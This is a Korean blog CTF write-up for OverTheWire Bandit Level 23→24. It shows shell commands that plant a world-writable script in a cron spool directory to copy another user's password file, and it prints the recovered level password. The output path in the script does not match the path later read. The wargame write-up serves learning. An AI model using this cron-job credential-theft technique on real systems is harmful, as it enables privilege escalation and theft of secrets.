본문 바로가기
CTF Write-UP/overthewire.org (완료)

Bandit Level 23 → Level 24

by CPU 2021. 11. 9.
bandit 23 문제

bandit 23 풀이

패스워드를 얻기 위해서는 쉘코드를 만들어서 해결해야 한다고 하는데 cpu를 폴더를 만들어서 쉘코드를 제작한뒤

권한을 설정해주고 sh파일을 /spool 폴더로 복사해주면 다음 레벨의 패스워드 파일인 bandit_pass가 나온다.

bandit23@bandit:/etc/cron.d$ mkdir -p /tmp/cpu
bandit23@bandit:/etc/cron.d$ cd /tmp/cpu
bandit23@bandit:/tmp/cpu$ vi cpu.sh
-> cat /etc/bandit_pass/bandit24 > /tmp/dubini2/bandit_pass 작성
bandit23@bandit:/tmp/cpu$ chmod 777 cpu.sh 
bandit23@bandit:/tmp/cpu$ chmod 777 /tmp/cpu
bandit23@bandit:/tmp/cpu$ cp cpu.sh /var/spool/bandit24/
bandit23@bandit:/tmp/cpu$ cat bandit_pass
더보기

UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

'CTF Write-UP > overthewire.org (완료)' 카테고리의 다른 글

Bandit Level 25 → Level 26  (0) 2021.12.14
Bandit Level 24 → Level 25  (0) 2021.12.13
Bandit Level 22 → Level 23  (0) 2021.11.03
Bandit Level 21 → Level 22  (0) 2021.11.02
Bandit Level 20 → Level 21  (0) 2021.10.28

댓글